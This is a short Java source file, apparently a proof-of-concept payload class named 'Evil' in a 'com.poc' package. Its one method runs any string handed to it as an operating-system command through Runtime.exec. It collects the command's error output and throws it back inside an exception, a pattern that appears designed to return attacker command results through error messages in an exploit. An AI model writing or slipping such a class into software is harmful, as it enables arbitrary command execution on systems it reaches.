package com.poc;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Evil {
    public static void Exec(String args) throws Exception {
        Process process = Runtime.getRuntime().exec(args);

        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
        StringBuffer stringBuffer = new StringBuffer();
        String line;
        while ((line = bufferedReader.readLine()) != null) {
            stringBuffer.append(line).append("\n");
        }
        String result = stringBuffer.toString();
        Exception e = new Exception(result);
        throw e;
    }
}
